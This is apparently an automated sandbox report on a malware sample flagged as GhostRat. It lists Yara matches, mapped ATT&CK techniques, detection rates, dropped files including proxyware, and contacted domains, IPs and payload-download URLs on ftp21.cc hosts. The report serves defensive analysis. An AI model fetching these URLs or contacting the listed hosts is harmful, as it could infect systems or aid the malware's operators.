Source: Yara match	File source: 0000001B.00000003.2174119491.0000000002E53000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\GraphicsPerfSvcs.dll, type: DROPPED

Remote Access Functionality

Yara detected GhostRat

Source: Yara match	File source: 27.2.svchost.exe.11776ac0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.Hooks.exe.1b98d8e.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.svchost.exe.11776ac0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.Hooks.exe.1b98d8e.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001A.00000002.2174361493.0000000001B8F000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2174119491.0000000002E53000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\GraphicsPerfSvcs.dll, type: DROPPED

Source: C:\Users\user\Desktop\exe1.bin.bak.exe

Code function: cmd.exe /c

0_2_00406551

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	311 Disable or Modify Tools	121 Input Capture	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Data Obfuscation	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 Create Account	1 Access Token Manipulation	1 Deobfuscate/Decode Files or Information	LSASS Memory	11 Account Discovery	Remote Desktop Protocol	121 Input Capture	24 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	12 Service Execution	232 Windows Service	232 Windows Service	1 Disable or Modify System Firewall	Security Account Manager	1 System Service Discovery	SMB/Windows Admin Shares	3 Clipboard Data	21 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	212 Process Injection	21 Obfuscated Files or Information	NTDS	4 File and Directory Discovery	Distributed Component Object Model	Input Capture	1 Non-Standard Port	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	36 System Information Discovery	SSH	Keylogging	3 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	11 Network Share Discovery	VNC	GUI Input Capture	124 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 File Deletion	DCSync	331 Security Software Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	22 Masquerading	Proc Filesystem	151 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	151 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	3 Process Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Access Token Manipulation	Network Sniffing	11 Application Window Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	212 Process Injection	Input Capture	1 System Owner/User Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	1 Indicator Removal	Keylogging	1 Remote System Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
exe1.bin.bak.exe	86%	Virustotal		Browse
exe1.bin.bak.exe	79%	ReversingLabs	Win32.Trojan.Redosdru
exe1.bin.bak.exe	100%	Avira	HIDDENEXT/Crypted
exe1.bin.bak.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Windows\Microsoft.NET\ctfmoon.exe	100%	Avira	TR/Redcap.gubrb
C:\Windows\Logs\RunDllExe.dll	100%	Avira	TR/Beaugrit.aba
C:\Windows\Logs\RunDllExe.dll	100%	Joe Sandbox ML
C:\Windows\Microsoft.NET\Meson.exe	3%	ReversingLabs
C:\Windows\Microsoft.NET\Meson.exe	1%	Virustotal		Browse
C:\Windows\Microsoft.NET\ctfmoon.exe	65%	ReversingLabs	Win32.Trojan.Tnega
C:\Windows\Microsoft.NET\ctfmoon.exe	61%	Virustotal		Browse
C:\Windows\Microsoft.NET\traffmonetizer\Base.dll	4%	ReversingLabs
C:\Windows\Microsoft.NET\traffmonetizer\Base.dll	1%	Virustotal		Browse
C:\Windows\Microsoft.NET\traffmonetizer\Microsoft.Bcl.AsyncInterfaces.dll	0%	ReversingLabs
C:\Windows\Microsoft.NET\traffmonetizer\Microsoft.Bcl.AsyncInterfaces.dll	0%	Virustotal		Browse
C:\Windows\Microsoft.NET\traffmonetizer\Microsoft.Diagnostics.NETCore.Client.dll	0%	ReversingLabs
C:\Windows\Microsoft.NET\traffmonetizer\Microsoft.Diagnostics.NETCore.Client.dll	0%	Virustotal		Browse
C:\Windows\Microsoft.NET\traffmonetizer\Microsoft.Diagnostics.Runtime.dll	0%	ReversingLabs
C:\Windows\Microsoft.NET\traffmonetizer\Microsoft.Diagnostics.Runtime.dll	0%	Virustotal		Browse
C:\Windows\Microsoft.NET\traffmonetizer\Microsoft.Win32.Primitives.dll	0%	ReversingLabs
C:\Windows\Microsoft.NET\traffmonetizer\Microsoft.Win32.Primitives.dll	0%	Virustotal		Browse
C:\Windows\Microsoft.NET\traffmonetizer\System.AppContext.dll	0%	ReversingLabs
C:\Windows\Microsoft.NET\traffmonetizer\System.AppContext.dll	0%	Virustotal		Browse
C:\Windows\Microsoft.NET\traffmonetizer\System.Buffers.dll	0%	ReversingLabs
C:\Windows\Microsoft.NET\traffmonetizer\System.Buffers.dll	0%	Virustotal		Browse
C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.Concurrent.dll	0%	ReversingLabs
C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.Concurrent.dll	0%	Virustotal		Browse
C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.Immutable.dll	0%	ReversingLabs
C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.Immutable.dll	0%	Virustotal		Browse
C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.NonGeneric.dll	0%	ReversingLabs
C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.NonGeneric.dll	0%	Virustotal		Browse
C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.Specialized.dll	0%	ReversingLabs
C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.Specialized.dll	0%	Virustotal		Browse
C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.dll	0%	ReversingLabs
C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.dll	0%	Virustotal		Browse
C:\Windows\Microsoft.NET\traffmonetizer\System.ComponentModel.EventBasedAsync.dll	0%	ReversingLabs
C:\Windows\Microsoft.NET\traffmonetizer\System.ComponentModel.EventBasedAsync.dll	0%	Virustotal		Browse
C:\Windows\Microsoft.NET\traffmonetizer\System.ComponentModel.Primitives.dll	0%	ReversingLabs
C:\Windows\Microsoft.NET\traffmonetizer\System.ComponentModel.Primitives.dll	0%	Virustotal		Browse
C:\Windows\Microsoft.NET\traffmonetizer\System.ComponentModel.TypeConverter.dll	0%	ReversingLabs
C:\Windows\Microsoft.NET\traffmonetizer\System.ComponentModel.TypeConverter.dll	0%	Virustotal		Browse
C:\Windows\Microsoft.NET\traffmonetizer\System.ComponentModel.dll	0%	ReversingLabs
C:\Windows\Microsoft.NET\traffmonetizer\System.ComponentModel.dll	0%	Virustotal		Browse
C:\Windows\Microsoft.NET\traffmonetizer\System.Console.dll	0%	ReversingLabs
C:\Windows\Microsoft.NET\traffmonetizer\System.Console.dll	0%	Virustotal		Browse
C:\Windows\Microsoft.NET\traffmonetizer\System.Data.Common.dll	0%	ReversingLabs
C:\Windows\Microsoft.NET\traffmonetizer\System.Data.Common.dll	0%	Virustotal		Browse
C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.Contracts.dll	0%	ReversingLabs
C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.Debug.dll	0%	ReversingLabs
C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.FileVersionInfo.dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
api.iproyal.com	0%	Virustotal	Browse
downloads.traffmonetizer.com	1%	Virustotal	Browse
down.ftp21.cc	19%	Virustotal	Browse
www.4i7i.com	6%	Virustotal	Browse
open.a.shifen.com	0%	Virustotal	Browse
srv-us2.traffmonetizer.com	0%	Virustotal	Browse
gtxvdqvuweqs.com	0%	Virustotal	Browse
blnc.traffmonetizer.com	0%	Virustotal	Browse
members.3322.net	2%	Virustotal	Browse
ssl.ftp21.cc	9%	Virustotal	Browse
opendata.baidu.com	0%	Virustotal	Browse
members.3322.org	5%	Virustotal	Browse
data.traffmonetizer.com	1%	Virustotal	Browse
www.362-com.com	7%	Virustotal	Browse

Name	IP	Active	Malicious	Antivirus Detection
api.iproyal.com	93.189.62.83	true	false	0%, Virustotal, Browse
srv-us13.traffmonetizer.com	5.78.93.88	true	false
blnc.traffmonetizer.com	144.76.194.78	true	false	0%, Virustotal, Browse
down.ftp21.cc	107.189.29.100	true	true	19%, Virustotal, Browse
www.4i7i.com	1.226.84.135	true	true	6%, Virustotal, Browse
downloads.traffmonetizer.com	49.12.131.126	true	false	1%, Virustotal, Browse
gtxvdqvuweqs.com	16.162.201.176	true	false	0%, Virustotal, Browse
www.362-com.com	1.226.84.135	true	true	7%, Virustotal, Browse
srv-us2.traffmonetizer.com	5.78.67.8	true	false	0%, Virustotal, Browse
srv-us16.traffmonetizer.com	5.78.114.151	true	false
open.a.shifen.com	45.113.194.189	true	false	0%, Virustotal, Browse
srv-us4.traffmonetizer.com	5.161.204.110	true	false
data.traffmonetizer.com	136.243.150.101	true	false	1%, Virustotal, Browse
members.3322.net	118.184.169.48	true	false	2%, Virustotal, Browse
ssl.ftp21.cc	211.108.60.155	true	true	9%, Virustotal, Browse
srv-us22.traffmonetizer.com	5.161.242.15	true	false
opendata.baidu.com	unknown	unknown	true	0%, Virustotal, Browse
members.3322.org	unknown	unknown	true	5%, Virustotal, Browse

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://ssl.ftp21.cc/64.jpg	true
https://blnc.traffmonetizer.com/resolve	true
http://hook.ftp21.cc/Hooks.jpg	true
https://data.traffmonetizer.com/downloads/latest	true
http://hook.ftp21.cc/MpMgSvc.dll	true
https://data.traffmonetizer.com/downloads/Installer.exe	true
http://down.ftp21.cc/Update.txt	true
http://hook.ftp21.cc/MpMgSvc.jpg	true

URLs from Memory and Binaries

Name	Source	Malicious
http://down.ftp21.cc/Update.txtppPatch	svchost.exe, 0000001B.00000002.4096226439.0000000002E52000.00000004.00000020.00020000.00000000.sdmp	true
http://cert.ssl.com/SSL.com-timeStamping-I-RSA-R1.cer0	Hooks.exe, 0000001A.00000002.2174361493.0000000001B8F000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp, svchost.exe, 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmp	true
http://crl.netsolssl.com/NetworkSolutionsCertificateAuthority.crl0	Hooks.exe, 0000001A.00000001.2163599278.0000000000831000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	true
https://github.com/dotnet/corefx/tree/7601f4f6225089ffb291dc7d58293c7bbf5c5d4f8	Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000001A28000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmp	true
http://crl.chambersign.org/chambersroot.crl0	Hooks.exe, 0000001A.00000001.2163599278.0000000000831000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	true
http://ocsps.ssl.com0G	Hooks.exe, 0000001A.00000002.2174361493.0000000001B8F000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp, svchost.exe, 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmp	true
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	true
http://ocsp.sectigo.com0	Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	true
http://www.openssl.org/V	MpMgSvc.exe, 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp	true
http://www.cip.cc	MpMgSvc.exe, 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp	true
http://cps.chambersign.org/cps/chambersroot.html0	Hooks.exe, 0000001A.00000001.2163599278.0000000000831000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	true
http://crl.dhimyotis.com/certignarootca.crl0	Hooks.exe, 0000001A.00000001.2163599278.0000000000831000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	true
http://down.ftp21.cc/Updat	svchost.exe, 0000001B.00000002.4096226439.0000000002E2A000.00000004.00000020.00020000.00000000.sdmp	true
http://ocsps.ssl.com0?	Hooks.exe, 0000001A.00000002.2174361493.0000000001B8F000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp, svchost.exe, 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmp	true
http://down.ftp21.cc/Updatep	svchost.exe, 0000001B.00000002.4096226439.0000000002E2A000.00000004.00000020.00020000.00000000.sdmp	true
http://schemas.xmlsoap.org/soap/envelope/	svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	true
http://www.ssl.com/repository/SSLcomRootCertificationAuthorityRSA.crt0	Hooks.exe, 0000001A.00000002.2174361493.0000000001B8F000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp, svchost.exe, 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmp	true
http://internalhost.eu	MpMgSvc.exe, 00000015.00000002.4112569602.0000000003BDC000.00000004.00000020.00020000.00000000.sdmp, MpMgSvc.exe, 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp	true
http://www.openssl.org/support/faq.html....................rbwb.rndC:HOMERANDFILEprng	MpMgSvc.exe, 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp	true
http://Down.ftp2	MpMgSvc.exe, 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp	true
http://www.chambersign.org1	svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	true
http://ocsps.ssl.com0	Hooks.exe, 0000001A.00000002.2174361493.0000000001B8F000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp, svchost.exe, 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmp	true
http://www.firmaprofesional.com/cps0	Hooks.exe, 0000001A.00000001.2163599278.0000000000831000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	true
http://repository.swisssign.com/0	Hooks.exe, 0000001A.00000001.2163599278.0000000000831000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	true
http://sslcom.crl.certum.pl/ctnca.crl0s	Hooks.exe, 0000001A.00000002.2174361493.0000000001B8F000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp, svchost.exe, 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmp	true
http://crls.ssl.com/SSLcom-RootCA-EV-RSA-4096-R2.crl0	Hooks.exe, 0000001A.00000002.2174361493.0000000001B8F000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp, svchost.exe, 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmp	true
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	true
http://crl.securetrust.com/SGCA.crl0	Hooks.exe, 0000001A.00000001.2163599278.0000000000831000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	true
http://purl.oclc.org/dsdl/schematron	MpMgSvc.exe, 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp	true
https://github.com/dotnet/corefx/tree/30ab651fcb4354552bd4891619a0bdd81e0ebdbf	Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000001A28000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmp	true
http://45.113.194.189/api.php?query=8.46.123.33	MpMgSvc.exe, 00000015.00000003.3489852982.00000000010CC000.00000004.00000020.00020000.00000000.sdmp, MpMgSvc.exe, 00000015.00000003.3488791845.00000000010B7000.00000004.00000020.00020000.00000000.sdmp, MpMgSvc.exe, 00000015.00000003.3764343426.00000000010DA000.00000004.00000020.00020000.00000000.sdmp, MpMgSvc.exe, 00000015.00000002.4106764127.00000000010DB000.00000004.00000020.00020000.00000000.sdmp	true
https://api.iproyal.com/https://api6.my-ip.io/ipidna:	svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp, ctfmoon.exe	true
http://crl.securetrust.com/STCA.crl0	Hooks.exe, 0000001A.00000001.2163599278.0000000000831000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	true
https://lizardstresser.su	MpMgSvc.exe, 00000015.00000003.3489852982.00000000010CC000.00000004.00000020.00020000.00000000.sdmp, MpMgSvc.exe, 00000015.00000003.3488791845.00000000010B7000.00000004.00000020.00020000.00000000.sdmp, MpMgSvc.exe, 00000015.00000003.3764343426.00000000010DA000.00000004.00000020.00020000.00000000.sdmp, MpMgSvc.exe, 00000015.00000002.4106764127.00000000010DB000.00000004.00000020.00020000.00000000.sdmp, MpMgSvc.exe, 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp	true
http://www.ascc.net/xml/schematron	MpMgSvc.exe, 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp	true
http://www.openssl.org/support/faq.html	MpMgSvc.exe, 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp	true
http://crls.ssl.com/SSLcom-SubCA-EV-CodeSigning-RSA-4096-R3.crl0	Hooks.exe, 0000001A.00000002.2174361493.0000000001B8F000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp, svchost.exe, 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmp	true
http://members.3322.org/dyndns/getip	MpMgSvc.exe, MpMgSvc.exe, 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp	true
http://www.oasis-open.org/committees/entity/release/1.0/catalog.dtdConverting	MpMgSvc.exe, 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp	true
http://2024.ip138.com	MpMgSvc.exe, 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp	true
http://www.quovadisglobal.com/cps0	Hooks.exe, 0000001A.00000001.2163599278.0000000000831000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	true
https://github.com/Microsoft/clrmd	Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp	true
http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crl0	Hooks.exe, 0000001A.00000001.2163599278.0000000000831000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	true
https://www.ssl.com/repository0	Hooks.exe, 0000001A.00000002.2174361493.0000000001B8F000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp, svchost.exe, 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmp	true
http://ocsps.ssl.com0_	Hooks.exe, 0000001A.00000002.2174361493.0000000001B8F000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp, svchost.exe, 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmp	true
http://ip.360.cn/IPShare/infohttp://2024.ip138.comhttp://www.cip.cc	MpMgSvc.exe, 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp	true
http://www.ascc.net/xml/schematronhttp://purl.oclc.org/dsdl/schematronallocating	MpMgSvc.exe, 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp	true
http://cps.chambersign.org/cps/chambersignroot.html0	Hooks.exe, 0000001A.00000001.2163599278.0000000000831000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	true
http://www.oberhumer.com	MpMgSvc.exe, 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp	true
http://policy.camerfirma.com0	Hooks.exe, 0000001A.00000001.2163599278.0000000000831000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	true
http://down.ftp21.cc/Update.t	svchost.exe, 0000001B.00000002.4096226439.0000000002E2A000.00000004.00000020.00020000.00000000.sdmp	true
http://Down.ftp2Z	MpMgSvc.exe, 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp	true
https://github.com/urfave/cli/blob/main/docs/CHANGELOG.mdruntime:	Hooks.exe, 0000001A.00000002.2174361493.0000000000E22000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010A34000.00000008.00000001.01000000.0000000A.sdmp	true
https://sectigo.com/CPS0	Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	true
http://schemas.xmlsoap.org/soap/encoding/	Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	true
http://www.accv.es/legislacion_c.htm0U	Hooks.exe, 0000001A.00000001.2163599278.0000000000831000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	true
https://github.com/dotnet/corefx/tree/7601f4f6225089ffb291dc7d58293c7bbf5c5d4f	Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000001A28000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmp	true
